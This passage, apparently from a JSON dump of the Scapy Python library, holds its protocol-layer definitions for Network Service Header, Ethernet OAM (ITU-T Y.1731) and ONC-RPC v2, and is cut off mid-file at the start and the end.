``BE EF``, otherwise\n    it becomes a \"0.9.7\" packet. So we just set \"0\" here.\n    \"\"\"\n\n    name = \"nRF Sniffer PCAP header\"\n    fields_desc = [\n        ByteField(\"board_id\", 0),\n    ]\n\n\nbind_layers(NRFS2_PCAP, NRFS2_Packet)\nconf.l2types.register(DLT_NORDIC_BLE, NRFS2_PCAP)\n"
  },
  {
    "path": "scapy/contrib/nsh.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# scapy.contrib.description = Network Services Headers (NSH)\n# scapy.contrib.status = loads\n\nfrom scapy.all import bind_layers\nfrom scapy.fields import BitField, ByteField, ByteEnumField, BitEnumField, \\\n    ShortField, X3BytesField, XIntField, XStrFixedLenField, \\\n    ConditionalField, PacketListField, BitFieldLenField\nfrom scapy.layers.inet import Ether, IP\nfrom scapy.layers.inet6 import IPv6\nfrom scapy.layers.vxlan import VXLAN\nfrom scapy.packet import Packet\nfrom scapy.layers.l2 import GRE\n\nfrom scapy.contrib.mpls import MPLS\n\n#\n# NSH Support\n# https://www.rfc-editor.org/rfc/rfc8300.txt  January 2018\n#\n\n\nclass NSHTLV(Packet):\n    \"NSH MD-type 2 - Variable Length Context Headers\"\n    name = \"NSHTLV\"\n    fields_desc = [\n        ShortField('class_', 0),\n        BitField('type', 0, 8),\n        BitField('reserved', 0, 1),\n        BitField('length', 0, 7),\n        PacketListField('metadata', None, XIntField, count_from='length')\n    ]\n\n\nclass NSH(Packet):\n    \"\"\"Network Service Header.\n       NSH MD-type 1 if there is no ContextHeaders\"\"\"\n    name = \"NSH\"\n\n    fields_desc = [\n        BitField('ver', 0, 2),\n        BitField('oam', 0, 1),\n        BitField('unused1', 0, 1),\n        BitField('ttl', 63, 6),\n        BitFieldLenField('length', None, 6,\n                         count_of='vlch',\n                         adjust=lambda pkt, x: 6 if pkt.mdtype == 1\n                         else x + 2),\n        BitField('unused2', 0, 4),\n        BitEnumField('mdtype', 1, 4, {0: 'Reserved MDType',\n                                      1: 'Fixed Length',\n                                      2: 'Variable Length',\n                                      0xF: 'Experimental MDType'}),\n        ByteEnumField('nextproto', 3, {1: 'IPv4',\n                                       2: 'IPv6',\n                                       3: 'Ethernet',\n                                       4: 'NSH',\n                                       5: 'MPLS',\n                                       0xFE: 'Experiment 1',\n                                       0xFF: 'Experiment 2'}),\n        X3BytesField('spi', 0),\n        ByteField('si', 0xFF),\n        ConditionalField(XStrFixedLenField(\"context_header\", \"\", 16),\n                         lambda pkt: pkt.mdtype == 1),\n        ConditionalField(PacketListField(\"vlch\", None, NSHTLV,\n                                         count_from=\"length\"),\n                         lambda pkt: pkt.mdtype == 2)\n    ]\n\n    def mysummary(self):\n        return self.sprintf(\"SPI: %spi% - SI: %si%\")\n\n\nbind_layers(Ether, NSH, {'type': 0x894F}, type=0x894F)\nbind_layers(VXLAN, NSH, {'flags': 0xC, 'NextProtocol': 4}, NextProtocol=4)\nbind_layers(GRE, NSH, {'proto': 0x894F}, proto=0x894F)\n\nbind_layers(NSH, IP, nextproto=1)\nbind_layers(NSH, IPv6, nextproto=2)\nbind_layers(NSH, Ether, nextproto=3)\nbind_layers(NSH, NSH, nextproto=4)\nbind_layers(NSH, MPLS, nextproto=5)\n"
  },
  {
    "path": "scapy/contrib/oam.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# scapy.contrib.description = Operation, administration and maintenance (OAM)\n# scapy.contrib.status = loads\n\n\"\"\"\n    Operation, administration and maintenance (OAM)\n    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n    :author:    Sergey Matsievskiy, matsievskiysv@gmail.com\n\n    :description:\n\n        This module provides Scapy layers for the OAM protocol.\n\n        normative references:\n          - ITU-T Rec. G.8013/Y.1731 (08/2019) - Operation, administration and\n            maintenance (OAM) functions and mechanisms for Ethernet-based\n            networks (https://www.itu.int/rec/T-REC-G.8013)\n          - ITU-T Rec. G.8031/Y.1342 (01/2015) - Ethernet linear protection\n            switching (https://www.itu.int/rec/T-REC-G.8031)\n          - ITU-T Rec. G.8032/Y.1344 (02/2022) - Ethernet ring protection\n            switching (https://www.itu.int/rec/T-REC-G.8032)\n\"\"\"\n\nfrom scapy.fields import (\n    BitEnumField,\n    BitField,\n    ByteField,\n    ConditionalField,\n    EnumField,\n    FCSField,\n    FlagsField,\n    IntField,\n    LenField,\n    LongField,\n    MACField,\n    MultipleTypeField,\n    NBytesField,\n    OUIField,\n    PacketField,\n    PadField,\n    PacketListField,\n    ShortField,\n    FieldListField,\n)\nfrom scapy.layers.l2 import Dot1Q\nfrom scapy.packet import Packet, bind_layers\nfrom binascii import crc32\nimport struct\n\n\nclass MepIdField(ShortField):\n    \"\"\"\n    Short field with insignificant three leading bytes\n    \"\"\"\n\n    def __init__(self, name, default):\n        super(MepIdField, self).__init__(\n            name, default & 0x1FFF if default is not None else default\n        )\n\n\nclass MegId(Packet):\n    \"\"\"\n    MEG ID\n    \"\"\"\n\n    name = \"MEG ID\"\n\n    fields_desc = [\n        ByteField(\"resv\", 1),\n        ByteField(\"format\", 0),\n        MultipleTypeField(\n            [\n                (\n                    LenField(\"length\", 13, fmt=\"B\"),\n                    lambda p: p.format == 32,\n                ),\n                (\n                    LenField(\"length\", 15, fmt=\"B\"),\n                    lambda p: p.format == 33,\n                )\n            ],\n            LenField(\"length\", 45, fmt=\"B\"),\n        ),\n        PadField(\n            MultipleTypeField(\n                [\n                    (\n                        FieldListField(\"values\", [0] * 13,\n                                       ByteField(\"value\", 0),\n                                       count_from=lambda pkt: pkt.length),\n                        lambda x: x.format == 32,\n                    ),\n                    (\n                        FieldListField(\"values\", [0] * 15,\n                                       ByteField(\"value\", 0),\n                                       count_from=lambda pkt: pkt.length),\n                        lambda x: x.format == 33,\n                    )\n                ],\n                NBytesField(\"values\", 0, sz=45),\n            ),\n            45),\n    ]\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass OAM_TLV(Packet):\n    \"\"\"\n    OAM TLV\n    \"\"\"\n\n    name = \"OAM TLV\"\n    fields_desc = [ByteField(\"type\", 1), LenField(\"length\", None)]\n\n    def extract_padding(self, s):\n        return s[:self.length], s[self.length:]\n\n\nclass OAM_DATA_TLV(Packet):\n    \"\"\"\n    OAM Data TLV\n    \"\"\"\n\n    name = \"OAM Data TLV\"\n    fields_desc = [ByteField(\"type\", 3), LenField(\"length\", None)]\n\n    def extract_padding(self, s):\n        return s[:self.length], s[self.length:]\n\n\nclass OAM_TEST_TLV(Packet):\n    \"\"\"\n    OAM test TLV data\n    \"\"\"\n\n    name = \"OAM test TLV\"\n\n    fields_desc = [\n        ByteField(\"type\", 32),\n        MultipleTypeField(\n            [\n                (\n                    LenField(\"length\", None, adjust=lambda l: l + 5),\n                    lambda p: p.pat_type == 1 or p.pat_type == 3,\n                )\n            ],\n            LenField(\"length\", None, adjust=lambda l: l + 1),\n        ),\n        EnumField(\n            \"pat_type\",\n            0,\n            {\n                0: \"Null signal without CRC-32\",\n                1: \"Null signal with CRC-32\",\n                2: \"PRBS 2^-31 - 1 without CRC-32\",\n                3: \"PRBS 2^-31 - 1 with CRC-32\",\n            },\n            fmt=\"B\",\n        ),\n        ConditionalField(\n            FCSField(\"crc\", None, fmt=\"!I\"),\n            lambda p: p.pat_type == 1 or p.pat_type == 3,\n        ),\n    ]\n\n    def do_dissect(self, s):\n        if ord(s[3:4]) == 1 or ord(s[3:4]) == 3:\n            # move crc to the end of packet\n            length = struct.unpack(\"!H\", s[1:3])[0]\n            crc_end = 3 + length\n            crc_start = crc_end - 4\n            s1 = s[:crc_start]\n            s2 = s[crc_start:crc_end]\n            s3 = s[crc_end:]\n            s = s1 + s3 + s2\n        s = super(OAM_TEST_TLV, self).do_dissect(s)\n        return s\n\n    def post_build(self, p, pay):\n        if ord(p[3:4]) == 1 or ord(p[3:4]) == 3:\n            p1 = p\n            p2 = pay[:-4]\n            p3 = struct.pack(\"!I\", crc32(p1 + p2) % (1 << 32))\n            return p1 + p2 + p3\n        else:\n            return p + pay\n\n    def extract_padding(self, s):\n        if self.pat_type == 1 or self.pat_type == 3:\n            # we already consumed crc\n            return s[:self.length - 5], s[self.length - 5:]\n        else:\n            return s[:self.length - 1], s[self.length - 1:]\n\n\nclass OAM_LTM_TLV(Packet):\n    \"\"\"\n    OAM LTM TLV data\n    \"\"\"\n\n    name = \"OAM LTM Egress ID TLV\"\n\n    fields_desc = [\n        ByteField(\"type\", 7),\n        LenField(\"length\", 8),\n        LongField(\"egress_id\", 0),\n    ]\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass OAM_LTR_TLV(Packet):\n    \"\"\"\n    OAM LTR TLV data\n    \"\"\"\n\n    name = \"OAM LTR Egress ID TLV\"\n\n    fields_desc = [\n        ByteField(\"type\", 8),\n        LenField(\"length\", 16),\n        # NOTE: wireshark interprets this field as short+MAC\n        LongField(\"last_egress_id\", 0),\n        # NOTE: wireshark interprets this field as short+MAC\n        LongField(\"next_egress_id\", 0),\n    ]\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass OAM_LTR_IG_TLV(Packet):\n    \"\"\"\n    OAM LTR TLV data\n    \"\"\"\n\n    name = \"OAM LTR Ingress TLV\"\n\n    fields_desc = [\n        ByteField(\"type\", 5),\n        LenField(\"length\", 7),\n        ByteField(\"ingress_act\", 0),\n        MACField(\"ingress_mac\", None),\n    ]\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass OAM_LTR_EG_TLV(Packet):\n    \"\"\"\n    OAM LTR TLV data\n    \"\"\"\n\n    name = \"OAM LTR Egress TLV\"\n\n    fields_desc = [\n        ByteField(\"type\", 6),\n        LenField(\"length\", 7),\n        ByteField(\"egress_act\", 0),\n        MACField(\"egress_mac\", None),\n    ]\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass OAM_TEST_ID_TLV(Packet):\n    \"\"\"\n    OAM Test ID TLV data\n    \"\"\"\n\n    name = \"OAM Test ID TLV\"\n\n    fields_desc = [\n        ByteField(\"type\", 36),\n        LenField(\"length\", 32),\n        IntField(\"test_id\", 0),\n    ]\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\ndef guess_tlv_type(pkt, lst, cur, remain):\n    if remain[0:1] == b'\\x00':\n        return None\n    elif remain[0:1] == b'\\x03':\n        return OAM_DATA_TLV\n    elif remain[0:1] == b'\\x05':\n        return OAM_LTR_IG_TLV\n    elif remain[0:1] == b'\\x06':\n        return OAM_LTR_EG_TLV\n    elif remain[0:1] == b'\\x07':\n        return OAM_LTM_TLV\n    elif remain[0:1] == b'\\x08':\n        return OAM_LTR_TLV\n    elif remain[0:1] == b'\\x20':\n        return OAM_TEST_TLV\n    elif remain[0:1] == b'\\x24':\n        return OAM_TEST_ID_TLV\n    else:\n        return OAM_TLV\n\n\nclass PTP_TIMESTAMP(Packet):\n    \"\"\"\n    PTP timestamp\n    \"\"\"\n\n    # TODO: should be a part of PTP module\n    name = \"PTP timestamp\"\n    fields_desc = [IntField(\"seconds\", 0), IntField(\"nanoseconds\", 0)]\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass APS(Packet):\n    \"\"\"\n    Linear protective switching APS data packet\n    \"\"\"\n\n    name = \"APS\"\n\n    fields_desc = [\n        BitEnumField(\n            \"req_st\",\n            0,\n            4,\n            {\n                0b0000: \"No request (NR)\",\n                0b0001: \"Do not request (DNR)\",\n                0b0010: \"Reverse request (RR)\",\n                0b0100: \"Exercise (EXER)\",\n                0b0101: \"Wait-to-restore (WTR)\",\n                0b0110: \"Deprecated\",\n                0b0111: \"Manual switch (MS)\",\n                0b1001: \"Signal degrade (SD)\",\n                0b1011: \"Signal fail for working (SF)\",\n                0b1101: \"Forced switch (FS)\",\n                0b1110: \"Signal fail on protection (SF-P)\",\n                0b1111: \"Lockout of protection (LO)\",\n            },\n        ),\n        FlagsField(\n            \"prot_type\",\n            0,\n            4,\n            {\n                (1 << 3): \"A\",\n                (1 << 2): \"B\",\n                (1 << 1): \"D\",\n                (1 << 0): \"R\",\n            },\n        ),\n        EnumField(\n            \"req_sig\", 0, {0: \"Null signal\", 1: \"Normal traffic\"}, fmt=\"B\"\n        ),\n        EnumField(\n            \"br_sig\", 0, {0: \"Null signal\", 1: \"Normal traffic\"}, fmt=\"B\"\n        ),\n        FlagsField(\"br_type\", 0, 8, {(1 << 7): \"T\"}),\n    ]\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass RAPS(Packet):\n    \"\"\"\n    Ring protective switching R-APS data packet\n    \"\"\"\n\n    name = \"R-APS\"\n\n    fields_desc = [\n        BitEnumField(\n            \"req_st\",\n            0,\n            4,\n            {\n                0b0000: \"No request (NR)\",\n                0b0111: \"Manual switch (MS)\",\n                0b1011: \"Signal fail(SF)\",\n                0b1101: \"Forced switch (FS)\",\n                0b1110: \"Event\",\n            },\n        ),\n        MultipleTypeField(\n            [\n                (\n                    BitEnumField(\"sub_code\", 0, 4, {0b0000: \"Flush\"}),\n                    lambda p: p.req_st == 0b1110,\n                )\n            ],\n            BitField(\"sub_code\", 0, 4),\n        ),\n        FlagsField(\n            \"status\",\n            0,\n            8,\n            {\n                (1 << 7): \"RB\",\n                (1 << 6): \"DNF\",\n                (1 << 5): \"BPR\",\n            },\n        ),\n        MACField(\"node_id\", None),\n        NBytesField(\"resv\", 0, 24),\n    ]\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass OAM(Packet):\n    \"\"\"\n    OAM data unit\n    \"\"\"\n\n    name = \"OAM\"\n\n    OPCODES = {\n        1: \"Continuity Check Message (CCM)\",\n        3: \"Loopback Message (LBM)\",\n        2: \"Loopback Reply (LBR)\",\n        5: \"Linktrace Message (LTM)\",\n        4: \"Linktrace Reply (LTR)\",\n        32: \"Generic Notification Message (GNM)\",\n        33: \"Alarm Indication Signal (AIS)\",\n        35: \"Lock Signal (LCK)\",\n        37: \"Test Signal (TST)\",\n        39: \"Automatic Protection Switching (APS)\",\n        40: \"Ring-Automatic Protection Switching (R-APS)\",\n        41: \"Maintenance Communication Channel (MCC)\",\n        43: \"Loss Measurement Message (LMM)\",\n        42: \"Loss Measurement Reply (LMR)\",\n        45: \"One Way Delay Measurement (1DM)\",\n        47: \"Delay Measurement Message (DMM)\",\n        46: \"Delay Measurement Reply (DMR)\",\n        49: \"Experimental OAM Message (EXM)\",\n        48: \"Experimental OAM Reply (EXR)\",\n        51: \"Vendor Specific Message (VSM)\",\n        50: \"Vendor Specific Reply (VSR)\",\n        52: \"Client Signal Fail (CSF)\",\n        53: \"One Way Synthetic Loss Measurement (1SL)\",\n        55: \"Synthetic Loss Message (SLM)\",\n        54: \"Synthetic Loss Reply (SLR)\",\n    }\n\n    TIME_FLAGS = {\n        0b000: \"Invalid value\",\n        0b001: \"Trans Int 3.33ms\",\n        0b010: \"Trans Int 10ms\",\n        0b011: \"Trans Int 100ms\",\n        0b100: \"Trans Int 1s\",\n        0b101: \"Trans Int 10s\",\n        0b110: \"Trans Int 1min\",\n        0b111: \"Trans Int 10min\",\n    }\n\n    PERIOD_FLAGS = {\n        0b100: \"1 frame per second\",\n        0b110: \"1 frame per minute\",\n    }\n\n    BNM_PERIOD_FLAGS = {\n        0b100: \"1 frame per second\",\n        0b101: \"1 frame per 10 seconds\",\n        0b110: \"1 frame per minute\",\n    }\n\n    fields_desc = [\n        # Common fields\n        BitField(\"mel\", 0, 3),\n        MultipleTypeField(\n            [(BitField(\"version\", 1, 5), lambda x: x.opcode in [43, 45, 47])],\n            BitField(\"version\", 0, 5),\n        ),\n        EnumField(\"opcode\", None, OPCODES, fmt=\"B\"),\n        MultipleTypeField(\n            [\n                (\n                    FlagsField(\"flags\", 0, 5, {(1 << 4): \"RDI\"}),\n                    lambda x: x.opcode == 1,\n                ),\n                (\n                    FlagsField(\"flags\", 0, 8, {(1 << 7): \"HWonly\"}),\n                    lambda x: x.opcode == 5,\n                ),\n                (\n                    FlagsField(\n                        \"flags\",\n                        0,\n                        8,\n                        {\n                            (1 << 7): \"HWonly\",\n                            (1 << 6): \"FwdYes\",\n                            (1 << 5): \"TerminalMEP\",\n                        },\n                    ),\n                    lambda x: x.opcode == 4,\n                ),\n                (BitField(\"flags\", 0, 5), lambda x: x.opcode in [33, 35, 32]),\n                (\n                    FlagsField(\"flags\", 0, 8, {1: \"Proactive\"}),\n                    lambda x: x.opcode in [43, 45, 47],\n                ),\n                (\n                    BitEnumField(\n                        \"flags\",\n                        0,\n                        5,\n                        {\n                            0b000: \"LOS\",\n                            0b001: \"FDI\",\n                            0b010: \"RDI\",\n                            0b011: \"DCI\",\n                        },\n                    ),\n                    lambda x: x.opcode == 52,\n                ),\n            ],\n            ByteField(\"flags\", 0),\n        ),\n        ConditionalField(\n            MultipleTypeField(\n                [\n                    (\n                        BitEnumField(\"period\", 1, 3, TIME_FLAGS),\n                        lambda x: x.opcode == 1,\n                    ),\n                    (\n                        BitEnumField(\"period\", 0b110, 3, BNM_PERIOD_FLAGS),\n                        lambda x: x.opcode in [13, 32],\n                    ),\n                ],\n                BitEnumField(\"period\", 0b110, 3, PERIOD_FLAGS),\n            ),\n            lambda x: x.opcode in [1, 33, 35, 52, 32],\n        ),\n        MultipleTypeField(\n            [\n                (ByteField(\"tlv_offset\", 70), lambda x: x.opcode == 1),\n                (\n                    ByteField(\"tlv_offset\", 4),\n                    lambda x: x.opcode in [3, 2, 37, 39],\n                ),\n                (ByteField(\"tlv_offset\", 17), lambda x: x.opcode == 5),\n                (ByteField(\"tlv_offset\", 6), lambda x: x.opcode == 4),\n                (ByteField(\"tlv_offset\", 32), lambda x: x.opcode in [40, 47]),\n                (ByteField(\"tlv_offset\", 12), lambda x: x.opcode == 43),\n                (\n                    ByteField(\"tlv_offset\", 16),\n                    lambda x: x.opcode in [45, 54, 53, 55],\n                ),\n                (ByteField(\"tlv_offset\", 13), lambda x: x.opcode == 32),\n                (\n                    ByteField(\"tlv_offset\", 10),\n                    lambda x: x.opcode == 41\n                ),\n            ],\n            ByteField(\"tlv_offset\", 0),\n        ),\n        # End common fields\n        ConditionalField(\n            IntField(\"seq_num\", 0), lambda x: x.opcode in [1, 3, 2, 37]\n        ),\n        ConditionalField(IntField(\"trans_id\", 0),\n                         lambda x: x.opcode in [5, 4]),\n        ConditionalField(\n            OUIField(\"oui\", None), lambda x: x.opcode in [41, 49, 48, 51, 50]\n        ),\n        ConditionalField(\n            MultipleTypeField(\n                [(ByteField(\"subopcode\", 1), lambda x: x.opcode == 32)],\n                ByteField(\"subopcode\", 0),\n            ),\n            lambda x: x.opcode in [41, 49, 48, 51, 50, 32],\n        ),\n        ConditionalField(\n            MepIdField(\"mep_id\", 0),\n            lambda x: x.opcode == 1 \\\n            or (x.opcode == 41 and x.subopcode == 1 and x.oui == 6567),\n        ),\n        ConditionalField(\n            PacketField(\"meg_id\", MegId(), MegId), lambda x: x.opcode == 0x01\n        ),\n        ConditionalField(\n            ShortField(\"src_mep_id\", 0), lambda x: x.opcode in [55, 54, 53]\n        ),\n        ConditionalField(\n            ShortField(\"rcv_mep_id\", 0), lambda x: x.opcode in [55, 54, 53]\n        ),\n        ConditionalField(\n            IntField(\"test_id\", 0), lambda x: x.opcode in [55, 54, 53]\n        ),\n        ConditionalField(\n            IntField(\"txfcf\", 0), lambda x: x.opcode in [1, 43, 42, 55, 54, 53]\n        ),\n        ConditionalField(IntField(\"rxfcb\", 0), lambda x: x.opcode == 1),\n        ConditionalField(IntField(\"rxfcf\", 0), lambda x: x.opcode in [43, 42]),\n        ConditionalField(\n            IntField(\"txfcb\", 0), lambda x: x.opcode in [1, 43, 42, 55, 54]\n        ),\n        ConditionalField(IntField(\"resv\", 0), lambda x: x.opcode in [1, 53]),\n        ConditionalField(ByteField(\"ttl\", 0), lambda x: x.opcode in [5, 4]),\n        ConditionalField(MACField(\"orig_mac\", None), lambda x: x.opcode == 5),\n        ConditionalField(MACField(\"targ_mac\", None), lambda x: x.opcode == 5),\n        ConditionalField(ByteField(\"relay_act\", None),\n                         lambda x: x.opcode == 4),\n        ConditionalField(\n            PacketField(\"txtsf\", PTP_TIMESTAMP(), PTP_TIMESTAMP),\n            lambda x: x.opcode in [45, 47, 46],\n        ),\n        ConditionalField(\n            PacketField(\"rxtsf\", PTP_TIMESTAMP(), PTP_TIMESTAMP),\n            lambda x: x.opcode in [45, 47, 46],\n        ),\n        ConditionalField(\n            PacketField(\"txtsb\", PTP_TIMESTAMP(), PTP_TIMESTAMP),\n            lambda x: x.opcode in [47, 46],\n        ),\n        ConditionalField(\n            PacketField(\"rxtsb\", PTP_TIMESTAMP(), PTP_TIMESTAMP),\n            lambda x: x.opcode in [47, 46],\n        ),\n        ConditionalField(\n            IntField(\"expct_dur\", None),\n            lambda x: x.opcode == 41 and x.subopcode == 1 and x.oui == 6567,\n        ),\n        ConditionalField(IntField(\"nom_bdw\", None), lambda x: x.opcode == 32),\n        ConditionalField(IntField(\"curr_bdw\", None), lambda x: x.opcode == 32),\n        ConditionalField(IntField(\"port_id\", None), lambda x: x.opcode == 32),\n        ConditionalField(\n            PacketField(\"aps\", APS(), APS), lambda x: x.opcode == 39\n        ),\n        ConditionalField(\n            PacketField(\"raps\", RAPS(), RAPS), lambda x: x.opcode == 40\n        ),\n        ConditionalField(\n            PacketListField(\"tlvs\", [], next_cls_cb=guess_tlv_type),\n            lambda x: x.opcode in [3, 2, 5, 4, 37, 45, 47, 46, 55, 54, 53],\n        ),\n        ConditionalField(\n            IntField(\"opt_data\", None),\n            lambda x: x.opcode in [49, 48, 51, 50] and False,\n        ),  # FIXME: field documented elsewhere\n        # TODO: add EXM, EXR, VSM and VSR data\n        ByteField(\"end_tlv\", 0),\n    ]\n\n\nbind_layers(Dot1Q, OAM, type=0x8902)\n"
  },
  {
    "path": "scapy/contrib/oncrpc.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Lucas Preston <lucas.preston@infinite.io>\n\n# scapy.contrib.description = ONC-RPC v2\n# scapy.contrib.status = loads\n\nfrom scapy.fields import XIntField, IntField, IntEnumField, StrLenField, \\\n    FieldListField, ConditionalField, PacketField, FieldLenField\nfrom scapy.packet import Packet, bind_layers\nimport struct\n\n\nclass Object_Name(Packet):\n    name = 'Object Name'\n    fields_desc = [\n        IntField('length', 0),\n        StrLenField('_name', '', length_from=lambda pkt: pkt.length),\n        StrLenField('fill', '', length_from=lambda pkt: (4 - pkt.length) % 4)\n    ]\n\n    def set(self, name, length=None, fill=None):\n        if length is None:\n            length = len(name)\n        if fill is None:\n            fill = b'\\x00' * ((4 - len(name)) % 4)\n        self.length = length\n        self._name = name\n        self.fill = fill\n\n    def extract_padding(self, s):\n        return '', s\n\n\nclass RM_Header(Packet):\n    name = 'RM Header'\n    fields_desc = [\n        XIntField('rm', None)\n    ]\n\n    def post_build(self, pkt, pay):\n        \"\"\"Override of post_build to set the rm header == len(payload)\"\"\"\n        if self.rm is None:\n            new_rm = 0x80000000 + len(self.payload)\n            pkt = struct.pack('!I', new_rm)\n        return Packet.post_build(self, pkt, pay)\n\n\nclass RPC(Packet):\n    name = 'RPC'\n    fields_desc = [\n        XIntField('xid', 0),\n        IntEnumField('mtype', 0, {0: 'CALL', 1: 'REPLY'}),\n    ]\n\n\nclass Auth_Unix(Packet):\n    name = 'AUTH Unix'\n    fields_desc = [\n        XIntField('stamp', 0),\n        PacketField('mname', Object_Name(), Object_Name),\n        IntField('uid', 0),\n        IntField('gid', 0),\n        IntField('num_auxgids', 0),\n        FieldListField(\n            'auxgids', [], IntField('', None),\n            count_from=lambda pkt: pkt.num_auxgids\n        )\n    ]\n\n    def extract_padding(self, s):\n        return '', s\n\n\nclass Auth_RPCSEC_GSS(Packet):\n    name = 'Auth RPCSEC_GSS'\n    fields_desc = [\n        IntField('gss_version', 0),\n        IntField('gss_procedure', 0),\n        IntField('gss_seq_num', 0),\n        IntField('gss_service', 0),\n        PacketField('gss_context', Object_Name(), Object_Name)\n    ]\n\n    def extract_padding(self, s):\n        return '', s\n\n\nclass Verifier_RPCSEC_GSS(Packet):\n    name = 'Verifier RPCSEC_GSS'\n    fields_desc = [\n        FieldLenField(\"len\", None, length_of=\"data\"),\n        StrLenField(\"data\", \"\", length_from=lambda pkt:pkt.len)\n    ]\n\n    def extract_padding(self, s):\n        return '', s\n\n\nclass RPC_Call(Packet):\n    name = 'RPC Call'\n\n    fields_desc = [\n        IntField('version', 2),\n        IntField('program', 100003),\n        IntField('pversion', 3),\n        IntField('procedure', 0),\n        IntEnumField(\n            'aflavor', 1,\n            {0: 'AUTH_NULL', 1: 'AUTH_UNIX', 6: 'RPCSEC_GSS'}\n        ),\n        IntField('alength', None),\n        ConditionalField(\n            PacketField('a_unix', Auth_Unix(), Auth_Unix),\n            lambda pkt: pkt.aflavor == 1\n        ),\n        ConditionalField(\n            PacketField('a_rpcsec_gss', Auth_RPCSEC_GSS(), Auth_RPCSEC_GSS),\n            lambda pkt: pkt.aflavor == 6\n        ),\n        IntEnumField(\n            'vflavor', 0,\n            {0: 'AUTH_NULL', 1: 'AUTH_UNIX', 6: 'RPCSEC_GSS'}\n        ),\n        ConditionalField(\n            IntField('vlength', None),\n            lambda pkt: pkt.vflavor != 6\n        ),\n        ConditionalField(\n            PacketField('v_unix', Auth_Unix(), Auth_Unix),\n            lambda pkt: pkt.vflavor == 1\n        ),\n        ConditionalField(\n            PacketField(\n                'v_rpcsec_gss',\n                Verifier_RPCSEC_GSS(),\n                Verifier_RPCSEC_GSS\n            ),\n            lambda pkt: pkt.vflavor == 6\n        )\n    ]\n\n    def set_auth(self, **kwargs):\n        \"\"\"Used to easily set the fields in an a_unix packet\"\"\"\n        if kwargs is None:\n            return\n\n        if 'mname' in kwargs:\n            self.a_unix.mname.set(kwargs['mname'])\n            del kwargs['mname']\n\n        for arg, val in kwargs.items():\n            if hasattr(self.a_unix, arg):\n                setattr(self.a_unix, arg, val)\n\n        self.alength = 0 if self.aflavor == 0 else len(self.a_unix)\n        self.vlength = 0 if self.vflavor == 0 else len(self.v_unix)\n\n    def post_build(self, pkt, pay):\n        \"\"\"Override of post_build to handle length fields\"\"\"\n        if self.aflavor == 0 and self.vflavor == 0:\n            # No work required if there are no auth fields,\n            # default will be correct\n            return Packet.post_build(self, pkt, pay)\n        if self.aflavor != 0 and self.alength is None:\n            if self.aflavor == 6:\n                pack_len = len(self.a_rpcsec_gss)\n            else:\n                pack_len = len(self.a_unix)\n\n            pkt = pkt[:20] \\\n                + struct.pack('!I', pack_len) \\\n                + pkt[24:]\n            return Packet.post_build(self, pkt, pay)\n        if self.vflavor != 0 and self.vlength is None:\n            pkt = pkt[:28] \\\n                + struct.pack('!I', len(self.v_unix)) \\\n                + pkt[32:]\n        return Packet.post_build(self, pkt, pay)\n\n\nclass RPC_Reply(Packet):\n    name = 'RPC Response'\n    fields_desc = [\n        IntField('reply_stat', 0),\n        IntEnumField('flavor', 0, {0: 'AUTH_NULL', 1: 'AUTH_UNIX'}),\n        ConditionalField(\n            PacketField('a_unix', Auth_Unix(), Auth_Unix),\n            lambda pkt: pkt.flavor == 1\n        ),\n        IntField('length', 0),\n        IntField('accept_stat', 0)\n    ]\n\n    def set_auth(self, **kwargs):\n        \"\"\"Used to easily set the fields in an a_unix packet\"\"\"\n        if kwargs is None:\n            return\n\n        if 'mname' in kwargs:\n            self.a_unix.mname.set(kwargs['mname'])\n            del kwargs['mname']\n\n        for arg, val in kwargs.items():\n            if hasattr(self.a_unix, arg):\n                setattr(self.a_unix, arg, val)\n\n        self.length = 0 if self.flavor == 0 else len(self.a_unix)\n\n\nbind_layers(RPC, RPC_Call, mtype=0)\nbind_layers(RPC, RPC_Reply, mtype=1)\n"
  },
  {
    "path": "scapy/contrib/opc_da.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) GuillaumeF <guillaume4favre@gmail.com>\n\n# @Date:   2016-10-18\n# @Last modified by:   GuillaumeF\n# @Last modified by:   Sebastien Mainand\n# @Last modified time: 2016-12-08 11:16:27\n# @Last modified time: 2017-07-05\n\n# scapy.contrib.description = OPC Data Access\n# scapy.contrib.status = loads\n\n\"\"\"\nOpc Data Access\n\nSpec: Google 'OPCDA3.00.pdf'\n\nRPC PDU encodings:\n- DCE 1.1 RPC: https://pubs.opengroup.org/onlinepubs/9629399/toc.pdf\n- http://pubs.opengroup.org/onlinepubs/9629399/chap12.htm\n\nDCOM Remote Protocol.\n[MS-DCOM]: Distributed Component Object Model (DCOM) Remote Protocol\nhttps://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dcom/4a893f3d-bd29-48cd-9f43-d9777a4415b0\nXXX TODO: does not appear to have been linked to RPC\n\"\"\"\n\nimport struct\n\nfrom scapy.config import conf\nfrom scapy.fields import (\n    BitEnumField,\n    ByteEnumField,\n    ByteField,\n    ConditionalField,\n    Field,\n    FieldLenField,\n    FlagsField,\n    IntEnumField,\n    IntField,\n    LEIntEnumField,\n    LEIntField,\n    LELongField,\n    LEShortField,\n    MultipleTypeField,\n    PacketField,\n    PacketLenField,\n    PacketListField,\n    ShortEnumField,\n    ShortField,\n    StrField,\n    StrFixedLenField,\n    StrLenField,\n    UUIDField,\n    _FieldContainer,\n    _PacketField,\n)\nfrom scapy.packet import Packet\nfrom scapy.layers.ntlm import NTLM_Header\n\n# Defined values\n_tagOPCDataSource = {\n    1: \"OPC_DS_CACHE\",\n    2: \"OPC_DS_DEVICE\"\n}\n\n_tagOPCBrowseType = 